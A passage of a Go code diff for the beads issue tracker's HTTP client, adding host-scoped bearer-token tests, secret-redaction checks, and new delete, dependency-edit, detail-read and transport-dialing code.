p := NewBearerProvider(mustURL(t, "http://127.0.0.1:8080")) resolveProvider(t, p) if got := p.Source(); got != TokenEnv { @@ -43,7 +43,7 @@ func TestSourceNamesTheEnvRung(t *testing.T) { func TestSourceNamesTheTokenCommandRung(t *testing.T) { // The env rung must be empty so the ladder falls to the command rung. t.Setenv(TokenEnv, "") - t.Setenv(TokenCommandEnv, "printf tok-cmd") + t.Setenv(TokenCommandEnv, "127.0.0.1=printf tok-cmd") p := NewBearerProvider(mustURL(t, "http://127.0.0.1:8080")) resolveProvider(t, p) if got := p.Source(); got != TokenCommandEnv { diff --git a/internal/httpclient/credential_test.go b/internal/httpclient/credential_test.go index 1e8aa0776..4353f4f8e 100644 --- a/internal/httpclient/credential_test.go +++ b/internal/httpclient/credential_test.go @@ -13,6 +13,7 @@ import ( "os" "path/filepath" "strings" + "sync" "testing" "github.com/steveyegge/beads/internal/httpapi/apigen" @@ -82,7 +83,7 @@ func TestCredentialLadderPrecedence(t *testing.T) { t.Run("env is the top rung", func(t *testing.T) { clearCredentialEnvironment(t) writeCredentialsFile(t, "127.0.0.1", 8080, "from-file", 0o600) - t.Setenv(TokenEnv, "from-env") + t.Setenv(TokenEnv, "127.0.0.1=from-env") if got := authorizeWith(t, NewBearerProvider(base)); got != "Bearer from-env" { t.Errorf("Authorization = %q, want the env rung", got) } @@ -121,7 +122,7 @@ func TestCredentialLadderPrecedence(t *testing.T) { func TestCredentialLadderFailsClosed(t *testing.T) { clearCredentialEnvironment(t) writeCredentialsFile(t, "127.0.0.1", 8080, "lower-rung", 0o600) - t.Setenv(TokenCommandEnv, "exit 7") + t.Setenv(TokenCommandEnv, "127.0.0.1=exit 7") p := NewBearerProvider(mustParseURL(t, "http://127.0.0.1:8080")) req, err := http.NewRequest(http.MethodGet, "http://127.0.0.1:8080/v0/beads/context", nil) @@ -140,6 +141,108 @@ func TestCredentialLadderFailsClosed(t *testing.T) { } } +// TestTokenEnvRungsAreHostScoped keeps an operator's token on the server it was +// issued for. The server a provider authorizes against comes from the +// workspace's http_target.json, which a cloned repo can supply, so a token +// scoped to one server must never reach another, and a token command scoped +// elsewhere must not even run. +func TestTokenEnvRungsAreHostScoped(t *testing.T) { + base := mustParseURL(t, "http://127.0.0.1:8080") + + t.Run("a token scoped to another host is not sent", func(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "serve.example.com=not-for-you") + if got := authorizeWith(t, NewBearerProvider(base)); got != "" { + t.Errorf("Authorization = %q, want no header: the token names another server", got) + } + }) + + t.Run("a token scoped to another host falls through to the lower rungs", func(t *testing.T) { + clearCredentialEnvironment(t) + writeCredentialsFile(t, "127.0.0.1", 8080, "from-file", 0o600) + t.Setenv(TokenEnv, "serve.example.com=not-for-you") + if got := authorizeWith(t, NewBearerProvider(base)); got != "Bearer from-file" { + t.Errorf("Authorization = %q, want the credentials-file rung", got) + } + }) + + t.Run("a token command scoped to another host is not run", func(t *testing.T) { + clearCredentialEnvironment(t) + // Run, `exit 7` would fail the ladder closed and Authorize with it. + t.Setenv(TokenCommandEnv, "serve.example.com=exit 7") + if got := authorizeWith(t, NewBearerProvider(base)); got != "" { + t.Errorf("Authorization = %q, want no header", got) + } + }) + + t.Run("a pattern with a port names that port alone", func(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "127.0.0.1:9999=wrong-port") + if got := authorizeWith(t, NewBearerProvider(base)); got != "" { + t.Errorf("Authorization = %q, want no header: the pattern names another port", got) + } + t.Setenv(TokenEnv, "127.0.0.1:8080=right-port") + if got := authorizeWith(t, NewBearerProvider(base)); got != "Bearer right-port" { + t.Errorf("Authorization = %q, want the port-scoped token", got) + } + }) + + t.Run("host case and an https default port normalize", func(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "Beads.Example.com:443=tls-token") + if got := authorizeWith(t, NewBearerProvider(mustParseURL(t, "https://beads.example.com/"))); got != "Bearer tls-token" { + t.Errorf("Authorization = %q, want the token", got) + } + }) + + t.Run("the split is on the first =", func(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "127.0.0.1=padded==") + if got := authorizeWith(t, NewBearerProvider(base)); got != "Bearer padded==" { + t.Errorf("Authorization = %q, want the token with its padding", got) + } + }) +} + +// TestMalformedTokenEnvIsRefusedWithoutEchoingIt: an unscoped value, the form +// these rungs took before they were scoped, is refused rather than applied to +// whatever server the workspace names, and so is any other value that does not +// parse. The refusal names the variable but no part of its value, since the +// value is the credential. +func TestMalformedTokenEnvIsRefusedWithoutEchoingIt(t *testing.T) { + for _, tc := range []struct{ name, env, value string }{ + {"a bare token", TokenEnv, "bare-s3cr3t"}, + {"a bare token whose padding splits it", TokenEnv, "s3cr3t+b64/x=="}, + {"a bare token command", TokenCommandEnv, "printf s3cr3t"}, + {"nothing after the =", TokenEnv, "127.0.0.1="}, + {"a port-less colon", TokenEnv, "127.0.0.1:=s3cr3t"}, + } { + t.Run(tc.name, func(t *testing.T) { + clearCredentialEnvironment(t) + writeCredentialsFile(t, "127.0.0.1", 8080, "lower-rung", 0o600) + t.Setenv(tc.env, tc.value) + + req, err := http.NewRequest(http.MethodGet, "http://127.0.0.1:8080/v0/beads/context", nil) + if err != nil { + t.Fatalf("new request: %v", err) + } + err = NewBearerProvider(mustParseURL(t, "http://127.0.0.1:8080")).Authorize(context.Background(), req) + if err == nil { + t.Fatal("Authorize = nil; a malformed token variable must abort the request") + } + if !strings.Contains(err.Error(), tc.env) { + t.Errorf("error %q does not name the variable", err) + } + if strings.Contains(err.Error(), "s3cr3t") { + t.Fatalf("the refusal echoed the value: %v", err) + } + if req.Header.Get("Authorization") != "" { + t.Error("a refused ladder still set an Authorization header") + } + }) + } +} + // TestRefreshRereadsTheCredentialSource is the client half of the server's // rotation contract. The server re-reads its token file on a ~1s gate, so a // rolled client 401s once and succeeds on the retry — but only if Refresh @@ -199,7 +302,7 @@ func TestRefreshRereadsTheCredentialSource(t *testing.T) { // it names the server, never the token. func TestPlainHTTPBearerWarnsOnceAndLeaksNothing(t *testing.T) { clearCredentialEnvironment(t) - t.Setenv(TokenEnv, "s3cr3t-token") + t.Setenv(TokenEnv, "beads.example.com=s3cr3t-token") var sink strings.Builder p := NewBearerProvider(mustParseURL(t, "http://beads.example.com:8080")) @@ -223,9 +326,30 @@ func TestPlainHTTPBearerWarnsOnceAndLeaksNothing(t *testing.T) { } } +// TestPlainHTTPWarningDropsUserinfo: the warning names the server, and a url +// handed in with userinfo must not bring it along — the username included, +// which url.URL.Redacted would keep and which a token sometimes rides as. +func TestPlainHTTPWarningDropsUserinfo(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "beads.example.com=bearer-token") + + var sink strings.Builder + p := NewBearerProvider(mustParseURL(t, "http://tok3n:pa55@beads.example.com:8080")) + p.warnTo = &sink + authorizeWith(t, p) + + warning := sink.String() + if !strings.Contains(warning, "http://beads.example.com:8080") { + t.Errorf("warning does not name the server:\n%s", warning) + } + if strings.Contains(warning, "tok3n") || strings.Contains(warning, "pa55") { + t.Fatalf("the warning printed the url's userinfo:\n%s", warning) + } +} + func TestLoopbackBearerDoesNotWarn(t *testing.T) { clearCredentialEnvironment(t) - t.Setenv(TokenEnv, "local-token") + t.Setenv(TokenEnv, "127.0.0.1=local-token") var sink strings.Builder p := NewBearerProvider(mustParseURL(t, "http://127.0.0.1:8080")) @@ -292,13 +416,19 @@ type contextServer struct { // test lands the rewrite in the one place it happens in production: between // the refused attempt and the client's re-read. onUnauthorized func() - seen []string + // seenMu guards seen: a burst test drives this handler from several + // server goroutines at once. Readers look at seen only after their + // requests have returned. + seenMu sync.Mutex + seen []string } func (s *contextServer) start(t *testing.T) *httptest.Server { t.Helper() srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + s.seenMu.Lock() s.seen = append(s.seen, r.Header.Get("Authorization")) + s.seenMu.Unlock() if s.require != "" && r.Header.Get("Authorization") != "Bearer "+s.require { w.Header().Set("WWW-Authenticate", "Bearer") w.Header().Set("Content-Type", "application/problem+json") diff --git a/internal/httpclient/deleter.go b/internal/httpclient/deleter.go new file mode 100644 index 000000000..233e8528e --- /dev/null +++ b/internal/httpclient/deleter.go @@ -0,0 +1,125 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/deleter.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/issueops" +) + +// maxDeleteIDs mirrors the wire's own bound (internal/httpapi's delete.go, and +// the document's maxItems). It is checked HERE as well as there for +// maxAddDependencyEdges' reason, which is sharper on this operation: the whole +// delete is ONE transaction with at most one history entry, so a client that +// split a long id list into two requests would turn one all-or-nothing erasure +// into two — and the dependents guard, which can only see the ids of the request +// in front of it, would refuse a pair the caller had deliberately listed +// together. Refusing names the bound; chunking would quietly change the +// semantics. +const maxDeleteIDs = 1000 + +// httpDeleter serves issueops.Deleter from the deleteIssues custom method +// (design D8 row 13) — the capability behind `bd delete`. +// +// The REQUEST maps WHOLE, ExpectedVersion included: deleteIssues publishes the +// compare-and-delete precondition and this client sends it, absent staying +// absent so an unguarded delete stays unguarded. +// +// What else diverges is the REFUSAL VOCABULARY, in two places, and both are +// ledgered rather than papered over: +// +// - an id naming no row arrives as issueops.ErrNotFound without the +// *NotFoundError that names WHICH ids (L-delete-notfound); +// - the unforced dependents guard arrives as issueops.ErrValidation rather +// than *DependentsOutsideRequestError (L-delete-dependents). +// +// Both still FAIL the request and still delete nothing — the outcome is the +// contract's, only the classification is coarser — and both retire the day the +// wire grows a distinguishing code and the extension members to rebuild them +// from. `bd delete` still names the ids it could not resolve, because the +// server's own role does and the CLI is talking to the person who typed them. +type httpDeleter struct { + store *Store + wire WriteWire +} + +var _ issueops.Deleter = (*httpDeleter)(nil) + +// Delete dials POST /v0/beads/issues:delete. +// +// The ids are sent VERBATIM — not trimmed, not deduplicated, not sorted. The +// role promises the caller's slice is read and never written through, and the +// SERVER's role performs exactly the same normalization a local one would, so +// doing it again here would be a second implementation of a rule that already +// has one, on the operation where a disagreement about which ids were named +// deletes the wrong rows. +func (d *httpDeleter) Delete(ctx context.Context, req issueops.DeleteRequest) (result issueops.DeleteResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. + defer func() { err = d.store.inexpressible("Deleter.Delete", err) }() + if err := checkDeleteIDs(req.IDs); err != nil { + return issueops.DeleteResult{}, err + } + // The guard is sent as the caller spelled it and the ARITY rule that comes + // with it is left to the server. The wire refuses a guard beside more than + // one DISTINCT id, and distinctness there is measured after trimming and + // collapsing duplicates — the same normalization this method sends its ids + // verbatim to avoid owning a second copy of. + body := apigen.DeleteIssuesRequest{ + Ids: append([]string(nil), req.IDs...), + Cascade: &req.Cascade, + Force: &req.Force, + DryRun: &req.DryRun, + ExpectedVersion: revisionGuard(req.ExpectedVersion), + } + if strings.TrimSpace(req.Actor) != "" { + // Omitted rather than sent blank, for SweepRequest.Actor's reason: the + // role accepts an empty Actor and the server refuses one that is empty + // after trimming. + body.Actor = &req.Actor + } + + res, err := d.wire.DeleteIssues(ctx, body) + if err != nil { + return issueops.DeleteResult{}, err + } + out := issueops.DeleteResult{ + DryRun: res.DryRun, + Deleted: res.Deleted, + Dependencies: res.Dependencies, + Labels: res.Labels, + Events: res.Events, + ReferencesUpdated: res.ReferencesUpdated, + } + if res.Orphaned != nil { + out.Orphaned = append([]string(nil), *res.Orphaned...) + } + return out, nil +} + +// checkDeleteIDs applies the request-intrinsic refusals before the dial. +// +// Every one of them is decidable from the request alone and every one is a +// refusal the role's own contract states, so they must not cost a round trip to +// a shared server — and the empty case must not be answered as a cheerful +// "deleted 0", which is how a caller whose id list came out empty learns +// nothing at all. +func checkDeleteIDs(ids []string) error { + if len(ids) == 0 { + return invalid("a delete names no beads") + } + for i, id := range ids { + if strings.TrimSpace(id) == "" { + return invalid("ids[%d] is blank", i) + } + } + if len(ids) > maxDeleteIDs { + return refuse(encode.OpDeleteIssues, "L-delete-bound") + } + return nil +} diff --git a/internal/httpclient/dependencyeditor.go b/internal/httpclient/dependencyeditor.go new file mode 100644 index 000000000..a94a38d89 --- /dev/null +++ b/internal/httpclient/dependencyeditor.go @@ -0,0 +1,139 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/dependencyeditor.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/issueops" +) + +// maxAddDependencyEdges mirrors the wire's own bound (internal/httpapi's +// dependency_edit.go). It is checked HERE as well as there so the refusal names +// the bound instead of arriving as a 400 the user has to decode — and, more +// importantly, so nothing is ever tempted to chunk a larger request: chunking is +// the one path that silently breaks the request's one-transaction, +// one-history-entry contract (L16). +const maxAddDependencyEdges = 100 + +// httpDependencyEditor serves issueops.DependencyEditor from the two dependency +// custom methods (design D8 row 18). +// +// The role's whole difficulty is its refusal vocabulary, and the wave that +// landed these operations published the typed discriminators this client asked +// for: dependency_cycle carries issue_id/blocker_id/blocker_is_ancestor, so +// *DependencyHierarchyConflictError reconstructs in BOTH polarities with no +// prose parsing, and dependency_exists carries existing_type/requested_type. The +// mapping lives in the wire's problem table; what lives here is the request +// half and the members the wire cannot carry. +type httpDependencyEditor struct { + store *Store + wire WriteWire +} + +var _ issueops.DependencyEditor = (*httpDependencyEditor)(nil) + +// AddDependencies asserts a set of edges as one server-side transaction. +// +// Atomicity is the SERVER's and stays whole because the request does: the +// operation is all-or-nothing, so a client that split a graph across two +// requests would turn one atomic assertion into two and let a cycle gate that +// can only see one request at a time pass a graph that closes a loop across +// both. Hence the bound below refuses rather than chunks. +func (d *httpDependencyEditor) AddDependencies(ctx context.Context, req issueops.AddDependenciesRequest) (result issueops.AddDependenciesResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. + defer func() { err = d.store.inexpressible("DependencyEditor.AddDependencies", err) }() + if err := requireActor(req.Actor); err != nil { + return issueops.AddDependenciesResult{}, err + } + if len(req.Edges) == 0 { + return issueops.AddDependenciesResult{}, invalid("a dependency add names no edges") + } + if req.SkipPerEdgeCycleCheck { + return issueops.AddDependenciesResult{}, refuse(encode.OpAddDependencies, "W-AddDependenciesRequest.SkipPerEdgeCycleCheck") + } + if len(req.Edges) > maxAddDependencyEdges { + return issueops.AddDependenciesResult{}, refuse(encode.OpAddDependencies, "L16") + } + + edges := make([]apigen.DependencyEdge, 0, len(req.Edges)) + for i, edge := range req.Edges { + if err := checkEdge(i, edge); err != nil { + return issueops.AddDependenciesResult{}, err + } + edges = append(edges, apigen.DependencyEdge{ + IssueId: edge.IssueID, + DependsOnId: edge.DependsOnID, + Type: string(edge.Type), + }) + } + + res, err := d.wire.AddDependencies(ctx, apigen.AddDependenciesRequest{Actor: req.Actor, Edges: edges}) + if err != nil { + return issueops.AddDependenciesResult{}, err + } + + // The response echoes the request in request order, because all-or-nothing + // means it is either every edge or the call failed. Reading it back rather + // than re-echoing the request is what would catch a server that ever + // answered something else. + added := make([]issueops.DependencyEdge, 0, len(res.Added)) + for _, edge := range res.Added { + added = append(added, issueops.DependencyEdge{ + IssueID: edge.IssueId, + DependsOnID: edge.DependsOnId, + Type: issueops.DependencyType(edge.Type), + }) + } + return issueops.AddDependenciesResult{Added: added}, nil +} + +// RemoveDependency removes exactly the named edge. A missing edge is Removed +// false with a nil error — a success, not a refusal, and the wire says the same. +func (d *httpDependencyEditor) RemoveDependency(ctx context.Context, req issueops.RemoveDependencyRequest) (issueops.RemoveDependencyResult, error) { + if err := requireActor(req.Actor); err != nil { + return issueops.RemoveDependencyResult{}, err + } + if err := requireID("issue id", req.IssueID); err != nil { + return issueops.RemoveDependencyResult{}, err + } + if err := requireID("depends-on id", req.DependsOnID); err != nil { + return issueops.RemoveDependencyResult{}, err + } + + res, err := d.wire.RemoveDependency(ctx, apigen.RemoveDependencyRequest{ + Actor: req.Actor, + IssueId: req.IssueID, + DependsOnId: req.DependsOnID, + }) + if err != nil { + return issueops.RemoveDependencyResult{}, err + } + return issueops.RemoveDependencyResult{Removed: res.Removed}, nil +} + +// checkEdge applies the request-intrinsic refusals before the dial. +// +// The self-dependency check is the one worth naming: the server refuses it too, +// but as a 400 that reaches a client as ErrValidation, while the role's contract +// promises ErrSelfDependency — and that sentinel is one the caller can act on. +// It is decidable from the request alone, so deciding it here loses nothing and +// keeps the vocabulary the role documents. +func checkEdge(i int, edge issueops.DependencyEdge) error { + switch { + case edge.IssueID == "": + return invalid("edges[%d].issue_id is required", i) + case edge.DependsOnID == "": + return invalid("edges[%d].depends_on_id is required", i) + case edge.Type == "": + return invalid("edges[%d].type is required", i) + case edge.IssueID == edge.DependsOnID: + return fmt.Errorf("%s: %w", edge.IssueID, issueops.ErrSelfDependency) + } + return nil +} diff --git a/internal/httpclient/detail_reads.go b/internal/httpclient/detail_reads.go new file mode 100644 index 000000000..56991f801 --- /dev/null +++ b/internal/httpclient/detail_reads.go @@ -0,0 +1,139 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/detail_reads.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "net/http" + "net/url" + + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The four off-role detail reads that ride getIssue, each beside the surface it +// belongs to now that its operation is on the synced wire (design D8, the flip +// mechanics offrole.go's header states). They moved OUT of offrole.go the way +// resolve.go and bridge.go's reads did: a served method sits with its surface, +// and what stays in offrole.go is the tombstone. +// +// All four are the `bd show` text path's off-role reads. getIssue carries the +// labels and the default dependencies without a parameter; the dependents and +// comments arms travel through include_dependents and include_comments (D4; L4 +// retired). Each answers the same value the local method does, so a caller +// reading `issue.Labels`, the dependency list, the dependents or the comment +// thread cannot tell the two apart. +// +// A MISS IS (nil, nil), NOT AN ERROR, for every one of them, and it is the raw +// method's own contract: getIssue answers a nonexistent id with a 404 that the +// wire maps to issueops.ErrNotFound, and the local reads answer a nonexistent id +// with an empty result and a nil error (dolt/labels.go, dolt/dependencies.go, +// dolt/events.go). Reporting the miss as an error would print the transport's +// vocabulary where the local answer is silence. + +// getIssueDetails is the shared dial behind the three include-bearing reads: GET +// the issue-detail path with the caller's query and decode types.IssueDetails, +// exactly as bridge.go's GetIssue does. A 404 is (nil, nil) rather than an +// error, so each read maps its own empty answer onto it. +func (s *Store) getIssueDetails(ctx context.Context, id string, query url.Values) (*types.IssueDetails, error) { + if id == "" { + return nil, nil + } + path, err := wire.IssuePath(id) + if err != nil { + return nil, err + } + var details types.IssueDetails + err = s.dispatch(ctx, wire.Request{ + Op: wire.OpGetIssue, + Method: http.MethodGet, + Path: path, + Query: query, + IssueID: id, + }, &details) + if errors.Is(err, issueops.ErrNotFound) { + return nil, nil + } + if err != nil { + return nil, err + } + return &details, nil +} + +// GetLabels serves getIssue's label list; `bd show`'s text path discards its +// error today (D4). +// +// It delegates to the raw GetIssue probe rather than re-dialing, because that +// probe already performs the lift the detail view needs — the labels arrive in a +// field of the envelope's OWN rather than on the embedded issue, and GetIssue +// hoists them onto issue.Labels so the two backends answer the same value. A +// second dial here would be a second copy of that correction. +func (s *Store) GetLabels(ctx context.Context, id string) ([]string, error) { + issue, err := s.GetIssue(ctx, id) + if err != nil || issue == nil { + return nil, err + } + return issue.Labels, nil +} + +// GetDependenciesWithMetadata answers getIssue's default-carried dependency +// list. No parameter asks for it — dependencies ride every detail read, and +// brief_deps defaults false so the rows arrive whole. +func (s *Store) GetDependenciesWithMetadata(ctx context.Context, id string) ([]*types.IssueWithDependencyMetadata, error) { + details, err := s.getIssueDetails(ctx, id, url.Values{}) + if err != nil || details == nil { + return nil, err + } + return details.Dependencies, nil +} + +// GetDependentsWithMetadata answers getIssue's dependents arm, which is carried +// only when asked: include_dependents is the parameter D4 landed for it. +// +// The rows come back in the collectDependents SHALLOW projection (be-4d36f2: +// id, status, type, priority, title and the edge type only), because a hub bead +// with thousands of dependents would otherwise marshal gigabytes. That is the +// field set `bd show`'s dependents section and its reader-accessor JSON consume, +// so those paths are full-parity — but a caller reading any field OUTSIDE it +// over http reads a zero. `bd show --thread/--refs/--children` are exactly such +// callers (the message thread reads a reply's sender/recipient/body/timestamp, +// --refs/--children --json marshal the row whole), so they refuse against an +// http workspace rather than render a silently gutted answer (the show entry in +// enterprise_http_refusal.go carries the flag refusals and the citation). A +// full-dependent wire shape would retire those refusals and is a server-side ask. +func (s *Store) GetDependentsWithMetadata(ctx context.Context, id string) ([]*types.IssueWithDependencyMetadata, error) { + q := url.Values{} + q.Set("include_dependents", "true") + details, err := s.getIssueDetails(ctx, id, q) + if err != nil || details == nil { + return nil, err + } + return details.Dependents, nil +} + +// GetIssueComments answers getIssue's comment thread, carried only when +// include_comments asks for it. +// +// comments_omitted MUST be absent or false on the answer, and this checks it: +// the server sets that marker only in count-only mode, where a positive +// CommentCount sits beside a nil Comments (ga-clgh). A caller that read those nil +// Comments as an empty thread would mistake a withheld read for "no comments" — +// the exact confusion the marker exists to prevent — so a truthy marker beside a +// request that explicitly asked for the bodies is a server answering a different +// question, and it fails loudly rather than returning a silent empty. +func (s *Store) GetIssueComments(ctx context.Context, id string) ([]*types.Comment, error) { + q := url.Values{} + q.Set("include_comments", "true") + details, err := s.getIssueDetails(ctx, id, q) + if err != nil || details == nil { + return nil, err + } + if details.CommentsOmitted != nil && *details.CommentsOmitted { + return nil, fmt.Errorf("bd serve withheld the comment thread for %q despite include_comments: "+ + "comments_omitted is set, which the operation reserves for count-only mode", id) + } + return details.Comments, nil +} diff --git a/internal/httpclient/dial.go b/internal/httpclient/dial.go new file mode 100644 index 000000000..f314dcbc7 --- /dev/null +++ b/internal/httpclient/dial.go @@ -0,0 +1,322 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/dial.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "net/http" + "strings" + "sync" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// WireUserAgentSuffix identifies the backend inside a stamped User-Agent, so a +// server log line says both which binary and which client spoke to it. +const WireUserAgentSuffix = wire.DefaultUserAgent + +// DialOptions tunes the production transport. +type DialOptions struct { + // UserAgent identifies the build. wire's own default names the backend only, + // because the version stamp lives in package main and nothing under this + // tree may import it; the activation layer passes the stamped one down. + UserAgent string + // HTTPClient replaces the transport. Tests use it to reach an httptest + // server or to inject a round tripper; production leaves it nil. + // + // Leaving this nil is what lets DialWith apply a target's CA trust + // (BEADS_HTTP_CA_FILE, or the sidecar's ca_file) automatically, and raise + // MaxIdleConnsPerHost even when no CA is configured — see TransportFor and + // baselineTransport. + // + // A caller that supplies an HTTPClient whose Transport is nil is not + // silently skipped: DialWith injects the resolved CA transport (if any) + // on a COPY of that client, leaving the caller's own *http.Client + // untouched, exactly as if HTTPClient had been left nil except that the + // other fields (Timeout, CheckRedirect, Jar) are the caller's. + // + // A caller that supplies an HTTPClient with a NON-NIL Transport has taken + // the transport over completely. If the target has no CA configured, it + // is used verbatim — DialWith has nothing to add. If the target DOES have + // a CA configured, DialWith refuses rather than silently using a + // transport that may not trust it: the caller must either leave + // Transport nil (and let DialWith inject), or compose TransportFor(target) + // (or TransportForFile, for the embedder door) into its own Transport + // itself before calling. + HTTPClient *http.Client + + // caOverride, when non-nil, replaces resolveCAFile's own env/sidecar + // resolution entirely: DialWith uses *caOverride verbatim (which may + // itself report "no CA configured" via its own configured() == false). + // + // It is set two ways, both of which need CAFileEnv taken completely out + // of the loop rather than merely out-prioritized: + // + // - DialOptionsForFile, which has already built HTTPClient's Transport + // from exactly one explicit file. Without this, DialWith's own + // env-scoped resolveCAFile would run anyway and could trip the + // caller-supplied-Transport refusal below the moment CAFileEnv + // happens to be set (and host-scoped-match) for the same target + // being verified. + // - DialOptionsForTarget, which backend/http's embedder door uses for + // EVERY dial: an embedder juggling several targets in one process + // must not have any of them silently renarrowed, or blocked, by an + // ambient CAFileEnv value a completely unrelated invocation + // exported — only Target.CAFile, passed explicitly, may ever apply + // on that door. + // + // Unexported: a caller outside this package can never set it directly, so + // an external HTTPClient always goes through one of the two constructors + // above, or the normal env-aware resolution. + caOverride *resolvedCA +} + +// Conn is the store's view of one wire client. +// +// It exists to answer the WireClient seam's ServerContext with the GATED +// handshake rather than the raw fetch: api_version equality and, when the +// workspace recorded one, project identity are the two checks a snapshot must +// pass before anything is served from it (design D6). GetContext would return a +// body from any server that answered. +type Conn struct { + *wire.Client +} + +func (c *Conn) ServerContext(ctx context.Context) (*apigen.ContextResponse, error) { + snap, err := c.Handshake(ctx) + if err != nil { + return nil, err + } + body := snap.Context + return &body, nil +} + +// Dial builds the transport for one resolved target: the default credential +// ladder plus a wire client bound to it. +func Dial(target Target, opts DialOptions) (*Conn, error) { + return DialWith(target, NewBearerProvider(target.BaseURL), opts) +} + +// DialWith is Dial with the credential source chosen by the caller — the other +// half of the D5 seam, for the layers that ride it: a gateway dialer outside +// this repo and the public registrant (backend/http), each of +// which binds a provider this package does not know about. +// +// It exists so the target-to-client mapping has ONE body. The gateway dialer +// used to build the wire client itself, and the registrant would have been the +// second copy of the same six lines; what a copy really duplicates is +// ExpectProjectID, the identity pin that travels on the Target and is applied +// through the wire Options — a caller that dropped it would dial a client whose +// handshake silently skips the wrong-server gate. +// +// creds may be nil, which is the tip OSS server's loopback-trust posture: no +// Authorization header is sent and a 401 is never retried. +// +// When opts.HTTPClient is nil, or has a nil Transport, DialWith resolves +// target's CA trust (the same env-scoped resolution TransportFor does) and +// dials with a transport scoped to it — see DialOptions.HTTPClient for the +// exact rules, including the refusal when a caller-supplied HTTPClient +// already has its own Transport and the target has a CA configured. This is +// what lets `bd connect --ca-file` verify a server during its own Handshake +// call, before anything is written, and what lets the default and gateway +// dialers honor BEADS_HTTP_CA_FILE with no further plumbing. Every dial also +// gets the raised MaxIdleConnsPerHost ceiling (baselineTransport), whether or +// not a CA is configured — the RTT cost of an under-pooled host is the same +// either way. +func DialWith(target Target, creds CredentialProvider, opts DialOptions) (*Conn, error) { + var resolved resolvedCA + if opts.caOverride != nil { + resolved = *opts.caOverride + } else { + var err error + resolved, err = resolveCAFile(target) + if err != nil { + return nil, err + } + } + + switch { + case opts.HTTPClient == nil: + transport, terr := dialTransport(resolved) + if terr != nil { + return nil, terr + } + opts.HTTPClient = &http.Client{Transport: transport, Timeout: wire.DefaultTimeout} + + case opts.HTTPClient.Transport == nil: + // The SAME transport the opts.HTTPClient == nil arm above builds + // through dialTransport — the CA-scoped one when resolved names a + // file, the shared raised-ceiling baseline otherwise — because the + // doc comment above promises that ceiling on EVERY dial "whether or + // not a CA is configured", and a caller-supplied client with a nil + // Transport is still a dial this package owns the Transport for. + // Leaving it nil here would let it default to + // http.DefaultTransport's own unraised ceiling at request time + // instead, silently exempting this one caller-supplied-client shape + // from that promise. Injected onto a COPY, so the caller's own + // *http.Client (Timeout, CheckRedirect, Jar) is left untouched. + transport, terr := dialTransport(resolved) + if terr != nil { + return nil, terr + } + clientCopy := *opts.HTTPClient + clientCopy.Transport = transport + opts.HTTPClient = &clientCopy + + default: + if resolved.configured() { + matched, verifyErr := matchesCachedTransport(opts.HTTPClient.Transport, resolved.path) + if !matched { + if errors.Is(verifyErr, errCAFileChangedSinceTransportBuilt) { + return nil, fmt.Errorf( + "%s configures a CA for %s, and the supplied HTTPClient's Transport was built by this package for the same file, but that file has changed since: %w", + resolved.label, target, verifyErr) + } + if verifyErr != nil { + return nil, fmt.Errorf( + "%s configures a CA for %s, but verifying the supplied HTTPClient's Transport against the current file failed: %w", + resolved.label, target, verifyErr) + } + return nil, fmt.Errorf( + "%s configures a CA for %s, but the supplied HTTPClient's Transport is not the CA-scoped one this package builds for it; leave DialOptions.HTTPClient nil (or its Transport nil) to let DialWith inject it, or build the Transport from TransportFor(target) (or TransportForFile) so DialWith can recognize it as exactly that CA's transport — or, if you deliberately want a transport of your own choosing, clear the CA (Target.CAFile, and any %s pattern that matches this target) and own trust yourself", + resolved.label, target, CAFileEnv) + } + } + // Either no CA is configured for this target, or the caller's + // Transport IS the cached CA-scoped transport TransportFor(target) + // (or TransportForFile) builds for resolved.path — the documented + // embedder recipe of composing that transport into HTTPClient before + // calling. Either way there is nothing to inject and nothing to + // refuse. + } + + client, err := wire.New(target.BaseURL, creds, wire.Options{ + HTTPClient: opts.HTTPClient, + UserAgent: opts.UserAgent, + ExpectProjectID: target.ExpectProjectID, + }) + if err != nil { + return nil, err + } + return &Conn{Client: client}, nil +} + +// dialTransport builds the transport DialWith uses when the caller left +// HTTPClient nil entirely: the CA-scoped one when resolved names a file, or +// the shared baseline (system roots, raised MaxIdleConnsPerHost) otherwise. +func dialTransport(resolved resolvedCA) (http.RoundTripper, error) { + if resolved.configured() { + return transportForFile(resolved.path, resolved.label) + } + return baselineTransport(), nil +} + +var ( + baselineTransportOnce sync.Once + baselineTransportRT http.RoundTripper +) + +// baselineTransport is the http.RoundTripper DialWith uses for a target with +// no CA configured: http.DefaultTransport's own system-roots TLS trust, +// completely unchanged, but with MaxIdleConnsPerHost raised the same way +// TransportFor raises it for a CA-scoped target (see maxIdleConnsPerHost 